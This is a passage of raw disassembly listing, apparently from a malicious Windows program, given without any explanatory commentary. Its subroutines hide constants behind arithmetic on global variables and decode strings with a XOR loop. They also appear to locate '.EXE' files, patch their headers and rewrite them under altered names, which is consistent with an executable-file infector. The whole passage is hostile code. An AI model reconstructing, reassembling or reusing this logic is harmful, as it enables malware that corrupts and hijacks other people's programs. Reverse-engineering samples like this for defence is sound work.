; ---------------------------------------------------------------------------
loc_43C408: ; CODE XREF: sub_43B5D8+E0Cj
inc [ebp+var_20]
loc_43C40B: ; CODE XREF: sub_43B5D8+DD5j
mov eax, [ebp+var_18]
cmp [ebp+var_20], eax
jb short loc_43C3AF
loc_43C413: ; CODE XREF: sub_43B5D8+E2Ej
mov eax, dword_551204
sub eax, 2
mov [ebp+var_428], eax
jmp loc_43C58A
; ---------------------------------------------------------------------------
loc_43C426: ; CODE XREF: sub_43B5D8+FBEj
mov eax, [ebp+var_428]
mov edx, dword_5511B0
add edx, dword_551120
sub edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F20], eax
mov ax, [eax]
mov word ptr [ebp+var_31F1C], ax
movzx eax, word ptr [ebp+var_31F1C]
mov edx, dword_5511AC
sub edx, 2
cmp eax, edx
jz loc_43C59C
movzx edi, word ptr [ebp+var_31F1C]
movsx edx, word_5510D0
movsx ecx, word_551148
lea ecx, [edx+ecx+5]
sar edi, cl
mov word ptr [ebp+var_31F24+2], di
movzx edi, word ptr [ebp+var_31F1C]
mov edx, dword_551168
movsx ecx, word_5510F4
xchg edx, ecx
add ecx, edx
shl edi, cl
mov word ptr [ebp+var_31F1C+2], di
movzx edi, word ptr [ebp+var_31F1C+2]
mov ecx, dword_5511E0
sar edi, cl
mov word ptr [ebp+var_31F1C+2], di
movzx eax, word ptr [ebp+var_31F1C+2]
mov edx, dword_55111C
sub edx, 2
cmp eax, edx
jnz short loc_43C4E9
mov eax, dword_5511F4
sub eax, 9
cmp [ebp+var_428], eax
jnz loc_43C59C
loc_43C4E9: ; CODE XREF: sub_43B5D8+EFBj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
mov [ebp+var_31F28], eax
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
mov [ebp+var_31F2C], eax
mov ecx, [ebp+var_31F28]
sub ecx, eax
mov [ebp+var_31F30], ecx
movzx eax, word ptr [ebp+var_31F24+2]
movsx edx, word_5511E8
add edx, dword_551090
sub edx, 8
cmp eax, edx
jnz short loc_43C57C
mov eax, [ebp+var_1070]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F34], eax
mov edx, ecx
add [eax], edx
loc_43C57C: ; CODE XREF: sub_43B5D8+F7Bj
mov eax, dword_55117C
sub eax, 5
add [ebp+var_428], eax
loc_43C58A: ; CODE XREF: sub_43B5D8+E49j
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_43C426
loc_43C59C: ; CODE XREF: sub_43B5D8+E8Aj
; sub_43B5D8+F0Bj
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_84C]
mov eax, [eax+0A4h]
mov edx, [ebp+var_107C]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_43C39C
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_118C], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
cmp [ebp+var_1184], 0
jnz short loc_43C607
add eax, 60h
mov edx, [ebp+var_84C]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_84C]
mov edx, [edx+68h]
add [eax], edx
loc_43C607: ; CODE XREF: sub_43B5D8+100Ej
mov eax, [ebp+var_8]
movsx edx, word_551240
movsx ecx, word_551128
add edx, ecx
sub edx, 7
mov [eax+46h], dx
mov edx, dword_5511FC
add edx, 5
add edx, dword_5511F8
mov [eax+1Ah], dl
mov edx, dword_5510E0
add edx, 7
mov [eax+44h], dx
mov eax, [ebp+var_1080]
add eax, [ebp+var_42C]
mov [ebp+var_31EE8], eax
mov eax, [ebp+var_1080]
mov edx, [ebp+var_31EE8]
add eax, [edx+1Ch]
sub eax, [ebp+var_1188]
mov [ebp+var_31EEC], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EF0], eax
mov eax, [eax]
mov [ebp+var_1058], eax
mov eax, dword_5511B4
movsx edx, word_55113C
add eax, edx
sub eax, 0Dh
mov [ebp+var_24], eax
jmp short loc_43C6D8
; ---------------------------------------------------------------------------
loc_43C697: ; CODE XREF: sub_43B5D8+1106j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_43C6D5
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_1194], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1198], edi
jmp short loc_43C6E0
; ---------------------------------------------------------------------------
loc_43C6D5: ; CODE XREF: sub_43B5D8+10D9j
inc [ebp+var_24]
loc_43C6D8: ; CODE XREF: sub_43B5D8+10BDj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_43C697
loc_43C6E0: ; CODE XREF: sub_43B5D8+10FBj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1198]
add eax, [ebp+var_1058]
sub eax, [ebp+var_1194]
mov [ebp+var_1190], eax
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_43C9AC
; ---------------------------------------------------------------------------
loc_43C721: ; CODE XREF: sub_43B5D8+13E0j
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov ecx, dword_5510B8
add ecx, dword_551150
sub ecx, 7
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_5510A0
sub edi, 3
cmp ecx, edi
jnz loc_43C858
mov ecx, dword_5510A0
dec ecx
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_551204
sub edi, 2
cmp ecx, edi
jnz loc_43C858
movzx ecx, byte ptr [edx+eax]
mov edi, dword_551114
add edi, 0E4h
add edi, dword_5511E4
cmp ecx, edi
jnz loc_43C858
mov ecx, dword_5511DC
add ecx, 3
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_55123C
add edi, dword_551200
sub edi, 5
cmp ecx, edi
jnz loc_43C858
add eax, dword_5511D8
movzx eax, byte ptr [edx+eax]
mov edx, dword_551220
add edx, dword_5511A0
sub edx, 0Ah
cmp eax, edx
jnz loc_43C858
mov eax, [ebp+var_8]
mov ecx, [eax+34h]
add ecx, [ebp+var_118C]
mov [ebp+var_31F1C], ecx
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F20], eax
movsx eax, word_5510F4
mov edx, dword_5511B4
lea eax, [eax+edx-7]
sub eax, [ebp+var_31F20]
add eax, ecx
movsx edx, word_551104
add edx, 4
sub eax, edx
mov [ebp+var_31F24], eax
movsx edi, word_5510A8
add edi, dword_5511F8
mov edx, [ebp+var_C]
movsx ecx, word_5510F4
add ecx, dword_551110
sub ecx, 0Ah
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-0Ch], ecx
loc_43C858: ; CODE XREF: sub_43B5D8+1171j
; sub_43B5D8+1191j ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F1C], edx
mov ecx, dword_551130
add ecx, 2
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_551184
movsx edx, word_551194
add edi, edx
mov edx, edi
sub edx, 5
cmp ecx, edx
jnz loc_43C9A9
movsx edx, word_551244
add edx, dword_55123C
sub edx, 6
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+ecx]
mov ecx, dword_55114C
add ecx, dword_5511EC
sub ecx, 5
cmp edx, ecx
jnz loc_43C9A9
mov edx, dword_55115C
add edx, dword_551110
sub edx, 0Bh
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+ecx]
mov ecx, dword_55112C
sub ecx, 8
cmp edx, ecx
jnz loc_43C9A9
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+eax]
movsx ecx, word_551240
add ecx, 0E0h
cmp edx, ecx
jnz loc_43C9A9
mov edx, dword_551234
movsx ecx, word_551208
add edx, ecx
sub edx, 5
add eax, edx
mov edx, [ebp+var_31F1C]
movzx eax, byte ptr [edx+eax]
mov edx, dword_55122C
sub edx, 7
cmp eax, edx
jnz short loc_43C9A9
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_1190]
mov [ebp+var_31F24], eax
movsx eax, word_5510F8
add eax, 0FFFFFFFAh
sub eax, [ebp+var_31F20]
add eax, [ebp+var_31F24]
mov edx, dword_5510D8
sub edx, 2
sub eax, edx
mov [ebp+var_31F28], eax
movsx edi, word_551104
mov edx, [ebp+var_C]
mov ecx, dword_5510BC
inc ecx
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4], ecx
loc_43C9A9: ; CODE XREF: sub_43B5D8+12B3j
; sub_43B5D8+12E8j ...
inc [ebp+var_C]
loc_43C9AC: ; CODE XREF: sub_43B5D8+1144j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_43C721
push [ebp+var_1074]
call ds:dword_4CD948
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_44B1A4
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43C9E5: ; CODE XREF: sub_43B5D8+1412j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C9E5
mov [ebp+var_31EDC], eax
mov edx, dword_5511DC
movsx ecx, word_551198
add edx, ecx
sub eax, edx
mov [ebp+eax+var_117F], 72h
mov eax, [ebp+var_31EDC]
movsx edx, word_551208
add edx, 2
sub eax, edx
mov [ebp+eax+var_117F], 69h
mov eax, [ebp+var_31EDC]
mov edx, dword_551178
sub edx, 7
sub eax, edx
mov [ebp+eax+var_117F], 76h
mov eax, dword_551134
sub eax, 2
push eax
mov eax, dword_55118C
sub eax, 1
push eax
push 2
movsx eax, word_5510B4
sub eax, 5
push eax
mov eax, dword_5510AC
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_117F]
push eax
call ds:dword_54FB18
mov [ebp+var_1074], eax
mov eax, dword_55117C
sub eax, 7
push eax
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1074]
call ds:dword_54FF1C
push [ebp+var_1074]
call ds:dword_4CD948
push [ebp+var_4]
call ds:dword_44B5CC
push 0
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_4CC544
lea eax, [ebp+var_117F]
push eax
call ds:dword_44800C
mov eax, 1
jmp short loc_43CAF2
; ---------------------------------------------------------------------------
loc_43CADB: ; CODE XREF: sub_43B5D8+117j
; sub_43B5D8+131j ...
push [ebp+var_1074]
call ds:dword_4CD948
push [ebp+var_4]
call ds:dword_44B5CC
xor eax, eax
loc_43CAF2: ; CODE XREF: sub_43B5D8+9Dj
; sub_43B5D8+1501j
pop edi
pop esi
pop ebx
leave
retn
sub_43B5D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CAF7 proc near ; CODE XREF: sub_43A324+426p
; sub_43A324+475p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_551250, 0
jnz short loc_43CB1F
push offset dword_550050
call ds:dword_449FCC
mov dword_551250, 1
loc_43CB1F: ; CODE XREF: sub_43CAF7+11j
mov esi, dword_551134
inc esi
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_551158
add edx, dword_551230
dec edx
cmp eax, edx
jz loc_43CBDE
push offset dword_550050
call ds:dword_54E95C
movsx eax, word_5510F4
movsx edx, word_551144
add eax, edx
sub eax, 3
mov [ebp+var_2], ax
jmp short loc_43CB90
; ---------------------------------------------------------------------------
loc_43CB7B: ; CODE XREF: sub_43CAF7+A3j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_43CB90: ; CODE XREF: sub_43CAF7+82j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43CB7B
movsx eax, word_5510CC
dec eax
movsx edx, word_5510F8
sub edx, 5
mov [edi+eax], dl
movsx eax, word_551198
add eax, dword_5511C8
sub eax, 8
mov edx, dword_5510E0
add edx, dword_551124
sub edx, 8
mov [edi+eax], dl
push offset dword_550050
call ds:dword_4CD940
loc_43CBDE: ; CODE XREF: sub_43CAF7+5Aj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_43CAF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CBE6 proc near ; CODE XREF: sub_43CDF1+2C8p
; sub_44077A+1ADp
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 32Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call ds:dword_50E924
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_4475D4
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_43CC14: ; CODE XREF: sub_43CBE6+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43CC14
mov edx, dword_551204
add edx, dword_551098
sub edx, 0Ah
mov ebx, eax
sub ebx, edx
mov edx, dword_551180
mov [ebp+ebx+var_316], dl
mov eax, dword_551154
movsx edx, word_551104
mov edi, eax
add edi, edx
sub edi, 8
loc_43CC4E: ; CODE XREF: sub_43CBE6+16Fj
mov eax, edi
mov ecx, dword_5510C8
inc ecx
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_5510E4
sub ecx, 3
mul ecx
mov [ebp+var_324], eax
mov eax, dword_5511A0
add eax, dword_55119C
sub eax, 0Bh
mov edx, [ebp+var_324]
add edx, eax
mov eax, dword_5511BC
add eax, dword_551238
sub eax, 6
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
movsx edx, word_5511F0
add edx, dword_55110C
sub edx, 8
cmp eax, edx
jnz loc_43CD54
mov eax, edi
mov ecx, dword_55117C
sub ecx, 5
mul ecx
mov [ebp+var_328], eax
mov eax, dword_5510E4
add eax, dword_551098
sub eax, 0Bh
mov edx, [ebp+var_328]
add edx, eax
movsx eax, word_5511A8
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_551150
add ecx, dword_551134
sub ecx, 4
mul ecx
mov [ebp+var_32C], eax
mov eax, dword_55116C
movsx edx, word_5510F8
add eax, edx
sub eax, 8
mov edx, [ebp+var_32C]
add edx, eax
movsx eax, word_551190
add eax, dword_5510E4
sub eax, 0Dh
mov [ebp+edx+var_212], al
jmp short loc_43CD5A
; ---------------------------------------------------------------------------
loc_43CD54: ; CODE XREF: sub_43CBE6+E6j
inc edi
jmp loc_43CC4E
; ---------------------------------------------------------------------------
loc_43CD5A: ; CODE XREF: sub_43CBE6+16Cj
mov eax, dword_551124
sub eax, 2
cmp dword_55126C, eax
jz short loc_43CDCB
lea eax, [ebp+var_212]
push eax
mov eax, dword_5511D4
sub eax, 8
push eax
call ds:dword_44B5B4
mov esi, eax
or esi, esi
jz short loc_43CDCB
mov eax, dword_5511A0
add eax, dword_55119C
sub eax, 0Ch
cmp dword_551270, eax
jz short loc_43CDEC
mov eax, dword_5510D8
add eax, dword_55112C
sub eax, 0Dh
neg eax
push eax
lea eax, [ebp+var_212]
push eax
movsx eax, word_551118
add eax, dword_55118C
sub eax, 9
push eax
call ds:dword_448024
loc_43CDCB: ; CODE XREF: sub_43CBE6+182j
; sub_43CBE6+19Ej
push ds:dword_44B5C4
push ds:dword_4CE8FC
lea eax, [ebp+var_316]
push eax
call sub_43B5D8
add esp, 0Ch
mov [ebp+var_31C], eax
loc_43CDEC: ; CODE XREF: sub_43CBE6+1B4j
pop edi
pop esi
pop ebx
leave
retn
sub_43CBE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CDF1 proc near ; CODE XREF: sub_44077A+183p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_4475B4
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_4475D4
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_43CE19: ; CODE XREF: sub_43CDF1+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43CE19
mov ebx, dword_5511B4
sub ebx, 3
mov esi, eax
sub esi, ebx
movsx ebx, word_5510D0
sub ebx, 6
mov [ebp+esi+var_12104], bl
movsx eax, word_551194
add eax, dword_55118C
sub eax, 2
push eax
movsx eax, word_551144
sub eax, 4
push eax
push 3
movsx eax, word_5511E8
add eax, dword_5511B8
sub eax, 0Bh
push eax
push dword_5511DC
push 80000001h
lea eax, [ebp+var_12104]
push eax
call ds:dword_54FB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43D0C1
movsx eax, word_551240
sub eax, 8
push eax
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call ds:dword_448034
mov [ebp+var_12108], eax
push edi
call ds:dword_4CD948
cmp [ebp+var_1FFF], 4Ch
jnz loc_43D0C1
mov eax, dword_5510AC
sub eax, 7
cmp [ebp+var_12108], eax
jz loc_43D0C1
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
mov edx, dword_5511DC
add edx, 44h
add edx, dword_551108
add eax, edx
mov edx, dword_5510F0
dec edx
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
movsx edx, word_5510FC
add edx, dword_5511B4
sub edx, 6
cmp eax, edx
jz loc_43D0C1
movzx eax, [ebp+var_12000]
mov edx, dword_5511FC
add edx, 3
add edx, dword_5510E4
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_5510BC
add edx, dword_551188
sub edx, 4
cmp eax, edx
jnz loc_43D0C1
movzx eax, [ebp+var_12000]
mov edx, dword_55120C
add edx, 0Ch
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
mov esi, dword_551090
add esi, 0Dh
mov ebx, eax
add ebx, esi
movzx esi, [ebp+ebx+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_4475D4
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_43CFF7: ; CODE XREF: sub_43CDF1+20Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43CFF7
mov edi, eax
mov eax, edi
sub eax, dword_551090
cmp [ebp+eax+var_11FFE], 2Eh
jnz short loc_43D08F
mov eax, dword_5511F4
add eax, dword_5510E8
sub eax, 7
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call ds:dword_44803C
add esp, 4
cmp eax, 45h
jnz short loc_43D08F
mov esi, dword_551098
add esi, dword_551188
sub esi, 0Ch
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_44803C
add esp, 4
cmp eax, 58h
jnz short loc_43D08F
mov esi, dword_551170
add esi, dword_55114C
sub esi, 5
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_44803C
add esp, 4
cmp eax, 45h
jz short loc_43D091
loc_43D08F: ; CODE XREF: sub_43CDF1+21Fj
; sub_43CDF1+248j ...
jmp short loc_43D0C1
; ---------------------------------------------------------------------------
loc_43D091: ; CODE XREF: sub_43CDF1+29Cj
push offset dword_552820
call sub_43CAF7
push eax
lea edi, [ebp+var_11FFE]
push edi
call ds:dword_44802C
mov eax, dword_5510D8
sub eax, 6
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_43CBE6
add esp, 14h
loc_43D0C1: ; CODE XREF: sub_43CDF1+99j
; sub_43CDF1+D8j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43CDF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D0C6 proc near ; CODE XREF: sub_443ADA+63p
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = word ptr -80h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
mov ebx, dword_551090
sub ebx, 4
jmp short loc_43D0EC
; ---------------------------------------------------------------------------
loc_43D0DD: ; CODE XREF: sub_43D0C6+30j
mov edx, dword_551178
sub edx, 9
mov [ebp+ebx*2+var_40], dx
inc ebx
loc_43D0EC: ; CODE XREF: sub_43D0C6+15j
mov eax, dword_551248
add eax, 1Ch
cmp ebx, eax
jb short loc_43D0DD
movsx eax, word_5511F0
movsx edx, word_551148
mov esi, eax
add esi, edx
sub esi, 7
jmp short loc_43D120
; ---------------------------------------------------------------------------
loc_43D10F: ; CODE XREF: sub_43D0C6+65j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov cx, [ecx+esi*2]
mov [ebp+edx+var_80], cx
inc esi
loc_43D120: ; CODE XREF: sub_43D0C6+47j
mov eax, dword_551114
lea eax, [eax+eax+1Eh]
cmp esi, eax
jb short loc_43D10F
lea eax, dword_54EAC0
mov [ebp+var_88], eax
mov eax, dword_5511D0
sub eax, 7
mov [ebp+var_84], eax
loc_43D147: ; CODE XREF: sub_43D0C6+12Cj
; sub_43D0C6+144j
push [ebp+var_84]
push [ebp+arg_0]
call sub_441B90
add esp, 8
mov [ebp+var_8C], eax
mov eax, dword_5510BC
inc eax
cmp [ebp+var_8C], eax
jnz short loc_43D1A7
lea eax, [ebp+var_80]
push eax
lea eax, [ebp+var_40]
push eax
call sub_445AFA
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_442478
add esp, 10h
or eax, eax
jz short loc_43D1A7
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_43B46B
add esp, 8
loc_43D1A7: ; CODE XREF: sub_43D0C6+A4j
; sub_43D0C6+CDj
inc [ebp+var_84]
mov eax, dword_551238
add eax, 20h
mov edx, dword_5511DC
add edx, 0Ah
add edx, dword_5510E0
imul eax, edx
cmp [ebp+var_84], eax
jnb short loc_43D20F
lea eax, [ebp+var_80]
push eax
call sub_43D71B
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_442478
add esp, 0Ch
or eax, eax
jz loc_43D147
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_43B46B
add esp, 8
jmp loc_43D147
; ---------------------------------------------------------------------------
loc_43D20F: ; CODE XREF: sub_43D0C6+107j
mov edi, dword_551228
sub edi, 8
jmp short loc_43D22B
; ---------------------------------------------------------------------------
loc_43D21A: ; CODE XREF: sub_43D0C6+16Fj
mov edx, edi
shl edx, 1
mov ecx, [ebp+arg_0]
mov dx, [ebp+edx+var_40]
mov [ecx+edi*2], dx
inc edi
loc_43D22B: ; CODE XREF: sub_43D0C6+152j
mov eax, dword_55110C
add eax, 1Eh
cmp edi, eax
jb short loc_43D21A
pop edi
pop esi
pop ebx
leave
retn
sub_43D0C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D23C proc near ; CODE XREF: sub_445E8D+EBp
; sub_445E8D+113p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
movsx edx, word_551198
mov ecx, dword_5511AC
lea edx, [edx+ecx+1]
cmp eax, edx
jnz short loc_43D282
mov eax, 6Fh
jmp loc_43D305
; ---------------------------------------------------------------------------
loc_43D282: ; CODE XREF: sub_43D23C+3Aj
movzx eax, [ebp+arg_0]
mov edx, dword_5511AC
movsx ecx, word_551244
add edx, ecx
sub edx, 8
cmp eax, edx
jnz short loc_43D2A3
mov eax, 79h
jmp short loc_43D305
; ---------------------------------------------------------------------------
loc_43D2A3: ; CODE XREF: sub_43D23C+5Ej
movzx eax, [ebp+arg_0]
mov edx, dword_551130
add edx, 2
cmp eax, edx
jnz short loc_43D2BB
mov eax, 69h
jmp short loc_43D305
; ---------------------------------------------------------------------------
loc_43D2BB: ; CODE XREF: sub_43D23C+76j
movzx eax, [ebp+arg_0]
mov edx, dword_5511AC
add edx, dword_55111C
sub edx, 4
cmp eax, edx
jnz short loc_43D2D9
mov eax, 65h
jmp short loc_43D305
; ---------------------------------------------------------------------------
loc_43D2D9: ; CODE XREF: sub_43D23C+94j
movzx eax, [ebp+arg_0]
mov edx, dword_551110
sub edx, 4
cmp eax, edx
jnz short loc_43D2F1
mov eax, 61h
jmp short loc_43D305
; ---------------------------------------------------------------------------
loc_43D2F1: ; CODE XREF: sub_43D23C+ACj
movzx eax, [ebp+arg_0]
mov edx, dword_5510E8
inc edx
cmp eax, edx
jnz short loc_43D305
mov eax, 75h
loc_43D305: ; CODE XREF: sub_43D23C+41j
; sub_43D23C+65j ...
pop edi
pop ebx
leave
retn
sub_43D23C endp
; =============== S U B R O U T I N E =======================================
sub_43D309 proc near ; CODE XREF: sub_446ED7+11p
push edi
push offset byte_552811
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551274, eax
mov eax, dword_5510C0
movsx edx, word_5511CC
add eax, edx
sub eax, 0Bh
cmp dword_551274, eax
jnz short loc_43D351
push offset word_552802
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551274, eax
loc_43D351: ; CODE XREF: sub_43D309+2Fj
push offset word_5527EE
call sub_43CAF7
pop ecx
push eax
push dword_551274
call ds:dword_44B1AC
mov ds:dword_48BA00, eax
pop edi
retn
sub_43D309 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D370 proc near ; CODE XREF: sub_441052+5A5p
; sub_441052+614p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_C]
not edx
mov ecx, esi
or ecx, edx
xor eax, ecx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43F3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43D370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D3AD proc near ; CODE XREF: sub_446250+2AAp
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
push 4
push 1000h
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_43D3CB
add eax, 3Fh
loc_43D3CB: ; CODE XREF: sub_43D3AD+19j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
push 0
call ds:dword_48C21C
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
movsx edx, word_551208
